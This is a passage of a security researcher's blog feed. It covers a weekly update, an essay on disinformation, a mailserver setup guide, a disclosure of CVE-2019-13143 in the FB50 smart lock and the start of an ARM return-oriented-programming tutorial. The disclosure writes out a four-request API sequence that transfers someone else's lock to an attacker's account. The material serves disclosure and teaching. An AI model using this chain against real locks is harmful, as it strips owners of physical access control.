570<hr />
571<ol>
572<li id="fn-1">
573<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
574</li>
575</ol>
576</div>
577]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
578and to serve as a log of how I’m using my time. In theory, I will write this post
579every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
580a format for this, but it will probably include a quick summary of the work I did,
581things I read, IRL stuff, etc.</p>
582
583<p>With the meta stuff out of the way, here’s what went down last week!</p>
584
585<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
586
587<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
588the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
589It creates a small community of sites and enables sharing of traffic among these sites.
590The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
591of those sites are beautiful. Mine pales in comparison.</p>
592
593<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
594called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
595and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
596twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
597
598<p>Which brings me to the next thing I did this/last week.</p>
599
600<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
601
602<p>I’m not a fan of the official Python client, because you know, Python is bloat.
603As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
604authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
605It’s not entirely useable as of yet, but it’s definitely getting there, with the help
606of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
607
608<h3 id="other">Other</h3>
609
610<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
611Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
612It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
613delvering both interesting security content and news.</p>
614
615<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
616“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
617
618<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
619easy to pick up. Learning the Cyrillic script will require some relearning, especially
620with letters like в, н, р, с, etc. that look like English but sound entirely different.
621I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
622to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
623layout to my keyboard map too:</p>
624
625<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
626</code></pre>
627
628<p>With that ends my weekly update, and I’ll see you next week!</p>
629]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
630According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
631<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
632derived from the title of a KGB black propaganda department.</p>
633
634<blockquote>
635 <p>Disinformation is false information spread deliberately to deceive.</p>
636</blockquote>
637
638<p>To fully understand disinformation, especially in the modern age, we need to understand the
639key factors of any successful disinformation operation:</p>
640
641<ul>
642<li>creating disinformation (what)</li>
643<li>the motivation behind the op, or its end goal (why)</li>
644<li>the medium used to disperse the falsified information (how)</li>
645<li>the actor (who)</li>
646</ul>
647
648<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
649
650<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
651forms – “info op” & “disinfo”.</p>
652
653<h3 id="creating-disinformation">Creating disinformation</h3>
654
655<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
656of any disinformation sample is a huge indicator of the level of sophistication of the
657actor involved, i.e. is it a 12 year old troll or a nation state?</p>
658
659<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
660The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
661To achieve this, the target — be it an individual, a specific demographic or an entire
662nation — must be well researched. A deep understanding of the target’s culture, history,
663geography and psychology is required. It also needs circumstantial and situational awareness,
664of the target.</p>
665
666<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
667recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
668
669<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
670imagery:</p>
671
672<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
673<p lang="en" dir="ltr">Disinformation.
674<br><br>
675The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
676<br><br>Recontextualisation as threat vector.
677<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
678</p>— thaddeus e. grugq (@thegrugq)
679<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
680</blockquote>
681
682<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
683
684<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
685
686<p>I like to broadly categorize any info op as either proactive or reactive.
687Proactively, disinformation is spread with the desire to influence the target
688either before or during the occurence of an event. This is especially observed
689during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
690In offensive information operations, the target’s psychological state can be affected by
691spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
692
693<p>Reactive disinformation is when the actor, usually a nation state in this case,
694screws up and wants to cover their tracks. A fitting example of this is the case
695of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
696eastern Ukraine. This tragic incident has been attributed to Russian-backed
697separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
698Russian media is known to have desseminated a number of alternative & some even
699conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
700Investigation Team) investigations pointed towards the separatists.
701The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
702potentially correct information takes a credibility hit.</p>
703
704<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
705in totalitarian regimes; when the government decides what the media portrays to the
706masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
707
708<blockquote>
709 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
710 namely from the United States, and what they have called criminal Hong Kong thugs.
711 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
712 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
713 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
714 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
715 …</p>
716</blockquote>
717
718<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
719
720<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
721play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
722popularity.</p>
723
724<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
725generate activity programmatically via the API, Twitter bots are the go-to choice today for
726info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
727to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
728get realtime insights into what sticks and what doesn’t.
729The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
730factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
731to create discussions about alternative theories.</p>
732
733<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
734actively invest in creating group chats to spread political messages and memes. These parties
735have volunteers whose sole job is to sit and forward messages.
736Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
737this is disinformation without a motive, or the motive is hard to determine simply because
738the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
739This is a difficult problem to combat, especially given the nature of the target audience.</p>
740
741<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
742
743<p>I doubt this requires further elaboration, but in short:</p>
744
745<ul>
746<li>nation states and their intelligence agencies</li>
747<li>governments, political parties</li>
748<li>other non/quasi-governmental groups</li>
749<li>trolls</li>
750</ul>
751
752<p>This essentially sums up the what, why, how and who of disinformation. </p>
753
754<h3 id="personal-opsec">Personal OPSEC</h3>
755
756<p>This is a fun one. Now, it’s common knowledge that
757<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
758afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
759lead to your OPSEC being compromised.
760So if you really have to, you can feign activity using disinformation. For example,
761pick a place, and throw in subtle details pertaining to the weather, local events
762or regional politics of that place into your disinfo. Assuming this is Twitter, you can
763tweet stuff like:</p>
764
765<ul>
766<li>“Ugh, when will this hot streak end?!”</li>
767<li>“Traffic wonky because of the Mardi Gras parade.”</li>
768<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
769</ul>
770
771<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
772
773<p>And please, don’t do this:</p>
774
775<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
776
777<h3 id="conclusion">Conclusion</h3>
778
779<p>The ability to influence someone’s decisions/thought process in just one tweet is
780scary. There is no simple way to combat disinformation. Social media is hard to control.
781Just like anything else in cyber, this too is an endless battle between social media corps
782and motivated actors.</p>
783
784<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
785folks see the truth in a post-truth world.</p>
786
787<div class="footnotes">
788<hr />
789<ol>
790<li id="fn-1">
791<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
792</li>
793
794<li id="fn-2">
795<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
796</li>
797
798<li id="fn-3">
799<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
800</li>
801
802<li id="fn-4">
803<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
804</li>
805
806<li id="fn-5">
807<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
808</li>
809</ol>
810</div>
811]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
812around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
813I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
814
815<p>For this attempt, I wanted a simpler approach. I recall how terribly
816confusing Dovecot & Postfix were to configure and hence I decided to look
817for a containerized solution, that most importantly, runs on my cheap $5
818Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
819is actually available. So yeah, <em>pretty</em> tight.</p>
820
821<h3 id="whats-available">What’s available</h3>
822
823<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
824These are the ones I came across:</p>
825
826<ul>
827<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
828and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
829<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
830but ships with a web UI that I didn’t need. </p></li>
831<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
832they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
833<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
834a mention. It however, needs a fresh box to work with. A box with absolutely
835nothing else on it. I can’t afford to do that.</p></li>
836<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
837</ul>
838
839<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
840
841<p>The first thing that caught my eye in the README:</p>
842
843<blockquote>
844 <p>Recommended:</p>
845
846 <ul>
847 <li>1 CPU</li>
848 <li>1GB RAM</li>
849 </ul>
850
851 <p>Minimum:</p>
852
853 <ul>
854 <li>1 CPU</li>
855 <li>512MB RAM</li>
856 </ul>
857</blockquote>
858
859<p>Fantastic, I can somehow squeeze this into my existing VPS.
860Setup was fairly simple & the docs are pretty good. It employs a single
861<code>.env</code> file for configuration, which is great.
862However, I did run into a couple of hiccups here and there.</p>
863
864<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
865of memory.</p>
866
867<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
868</code></pre>
869
870<p>But it eventually worked after a couple of attempts.</p>
871
872<p>The next thing I struggled with — DNS. Specifically, the with the step where
873the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
874<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
875isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
876a <code>TXT</code> record. </p>
877
878<p>This is what it looks like.</p>
879
880<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
881 "p=<key>"
882 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
883</code></pre>
884
885<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
886and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
887Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
888
889<p>To simplify debugging DNS issues later, it’s probably a good idea to
890point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
891<code>A</code> record.
892You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
893uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
894And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
895your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
896I learnt this part the hard way, when my outgoing email kept getting
897rejected by Tutanota’s servers.</p>
898
899<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
900documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
901and look at an example. In short, install <code>certbot</code>, have port 80 free,
902and run </p>
903
904<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
905</code></pre></div>
906
907<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
908the container, something like so:</p>
909
910<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
911
912<span class="nt">volumes</span><span class="p">:</span>
913 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
914 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
915 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
916 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
917
918<span class="nn">...</span>
919</code></pre></div>
920
921<p>With this done, you shouldn’t have mail clients complaining about
922wonky certs for which you’ll have to add an exception manually.</p>
923
924<h3 id="why-would-you">Why would you…?</h3>
925
926<p>There are a few good reasons for this:</p>
927
928<h4 id="privacy">Privacy</h4>
929
930<p>No really, this is <em>the</em> best choice for truly private
931email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
932dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
933
934<blockquote>
935 <p>Truly secure systems do not require you to trust the service provider.</p>
936</blockquote>
937
938<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
939how can you really be sure that it isn’t a backdoored version of it?</p>
940
941<p>When you host your own mailserver, you truly own your email without having to rely on any
942third-party.
943This isn’t an attempt to spread FUD. In the end, it all depends on your
944threat model™.</p>
945
946<h4 id="decentralization">Decentralization</h4>
947
948<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
949active users. That’s obscene.
950Email was designed to be decentralized but big corps swooped in and
951made it a product. They now control your data, and it isn’t unknown that
952Google reads your mail. This again loops back to my previous point, privacy.
953Decentralization guarantees privacy. When you control your mail, you subsequently
954control who reads it.</p>
955
956<h4 id="personalization">Personalization</h4>
957
958<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
959
960<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
961
962<p>Pfft, this is no competition.</p>
963
964<div class="footnotes">
965<hr />
966<ol>
967<li id="fn-1">
968<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
969</li>
970
971<li id="fn-2">
972<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
973</li>
974
975<li id="fn-3">
976<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
977</li>
978</ol>
979</div>
980]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
981
982<h3 id="the-lock">The lock</h3>
983
984<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
985Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
986across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
987
988<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
989the Play/App Store to function. The app requires the user to create an
990account before further functionality is available.
991It also facilitates configuring the fingerprint,
992and unlocking from a range via Bluetooth.</p>
993
994<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
995and the Android app.</p>
996
997<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
998
999<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1000which can be enabled under Developer Options under Settings. We made
1001around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1002
1003<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1004
1005<p>This is the value sent in the <code>Write</code> request:</p>
1006
1007<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1008
1009<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1010but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1011
1012<h3 id="via-the-android-app">Via the Android app</h3>
1013
1014<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1015far since most of it was obfuscated. Why bother when there exists an
1016easier approach – BurpSuite.</p>
1017
1018<p>We captured and played around with a bunch of requests and responses,
1019and finally arrived at a working exploit chain.</p>
1020
1021<h3 id="the-exploit">The exploit</h3>
1022
1023<p>The entire exploit is a 4 step process consisting of authenticated
1024HTTP requests:</p>
1025
1026<ol>
1027<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1028vicinity), get the barcode and lock ID</li>
1029<li>Using the barcode, fetch the user ID</li>
1030<li>Using the lock ID and user ID, unbind the user from the lock</li>
1031<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1032to the lock</li>
1033</ol>
1034
1035<p>This is what it looks like, in essence (personal info redacted).</p>
1036
1037<h4 id="request-1">Request 1</h4>
1038
1039<pre><code>POST /oklock/lock/queryDevice
1040{"mac":"XX:XX:XX:XX:XX:XX"}
1041</code></pre>
1042
1043<p>Response:</p>
1044
1045<pre><code>{
1046 "result":{
1047 "alarm":0,
1048 "barcode":"<BARCODE>",
1049 "chipType":"1",
1050 "createAt":"2019-05-14 09:32:23.0",
1051 "deviceId":"",
1052 "electricity":"95",
1053 "firmwareVersion":"2.3",
1054 "gsmVersion":"",
1055 "id":<LOCK ID>,
1056 "isLock":0,
1057 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1058 "lockPwd":"000000",
1059 "mac":"XX:XX:XX:XX:XX:XX",
1060 "name":"lock",
1061 "radioName":"BlueFPL",
1062 "type":0
1063 },
1064 "status":"2000"
1065}
1066</code></pre>
1067
1068<h4 id="request-2">Request 2</h4>
1069
1070<pre><code>POST /oklock/lock/getDeviceInfo
1071
1072{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1073</code></pre>
1074
1075<p>Response:</p>
1076
1077<pre><code> "result":{
1078 "account":"email@some.website",
1079 "alarm":0,
1080 "barcode":"<BARCODE>",
1081 "chipType":"1",
1082 "createAt":"2019-05-14 09:32:23.0",
1083 "deviceId":"",
1084 "electricity":"95",
1085 "firmwareVersion":"2.3",
1086 "gsmVersion":"",
1087 "id":<LOCK ID>,
1088 "isLock":0,
1089 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1090 "lockPwd":"000000",
1091 "mac":"XX:XX:XX:XX:XX:XX",
1092 "name":"lock",
1093 "radioName":"BlueFPL",
1094 "type":0,
1095 "userId":<USER ID>
1096 }
1097</code></pre>
1098
1099<h4 id="request-3">Request 3</h4>
1100
1101<pre><code>POST /oklock/lock/unbind
1102
1103{"lockId":"<LOCK ID>","userId":<USER ID>}
1104</code></pre>
1105
1106<h4 id="request-4">Request 4</h4>
1107
1108<pre><code>POST /oklock/lock/bind
1109
1110{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1111</code></pre>
1112
1113<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
1114
1115<p>You should have the lock transferred to your account. The severity of this
1116issue lies in the fact that the original owner completely loses access to
1117their lock. They can’t even “rebind” to get it back, since the current owner
1118(the attacker) needs to authorize that. </p>
1119
1120<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1121Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1122“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1123
1124<p><em>shudders</em></p>
1125
1126<h3 id="proof-of-concept">Proof of Concept</h3>
1127
1128<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1129
1130<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1131
1132<h3 id="disclosure-timeline">Disclosure timeline</h3>
1133
1134<ul>
1135<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1136<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1137<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1138<li>No response from vendor</li>
1139<li><strong>2nd August 2019</strong>: Public disclosure</li>
1140</ul>
1141
1142<h3 id="lessons-learnt">Lessons learnt</h3>
1143
1144<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1145with keys. With the IoT plague spreading, it brings in a large attack surface
1146to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1147
1148<p>The IoT security scene is rife with bugs from over 10 years ago, like
1149executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1150practices in general.</p>
1151
1152<p>Our existing threat models and scenarios have to be updated to factor
1153in these new exploitation possibilities. This also broadens the playing
1154field for cyber warfare and mass surveillance campaigns. </p>
1155
1156<h3 id="researcher-info">Researcher info</h3>
1157
1158<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1159
1160<ul>
1161<li>Anirudh Oppiliappan (me)</li>
1162<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1163<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1164</ul>
1165
1166<div class="footnotes">
1167<hr />
1168<ol>
1169<li id="fn-1">
1170<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1171</li>
1172
1173<li id="fn-2">
1174<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1175</li>
1176
1177<li id="fn-3">
1178<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1179</li>
1180</ol>
1181</div>
1182]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1183assembly to follow along. I highly recommend
1184<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1185Basics</a>. Once you’re
1186comfortable with it, proceed with the next bit — environment setup.</p>
1187
1188<h3 id="setup">Setup</h3>
1189
1190<p>Since we’re working with the ARM architecture, there are two options to go
1191forth with: </p>
1192
1193<ol>
1194<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1195And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1196The scripts found inside should be self-explanatory.</li>
1197<li>Use actual ARM hardware, like an RPi.</li>
1198</ol>
1199
1200<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1201may use <code>radare2</code>, IDA or anything else, really. All of which can be
1202trivially installed.</p>
1203
1204<p>And for the sake of simplicity, disable ASLR:</p>
1205
1206<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1207</code></pre></div>
1208
1209<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1210<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1211
1212<p>Compile it:</p>
1213
1214<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1215</code></pre></div>
1216
1217<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1218
1219<h3 id="a-primer-on-rop">A primer on ROP</h3>
1220
1221<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1222used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1223In essence, no code in the binary is actually modified and the entire exploit
1224is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1225
1226<p>A gadget is essentially a small sequence of code (instructions), ending with
1227a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1228code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1229These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1230to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1231there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1232
1233<p>In practice, the process of executing a ropchain is something like this:</p>
1234
1235<ul>
1236<li>confirm the existence of a stack-based buffer overflow</li>
1237<li>identify the offset at which the instruction pointer gets overwritten</li>
1238<li>locate the addresses of the gadgets you wish to use</li>
1239<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1240of your gadgets</li>
1241</ul>
1242
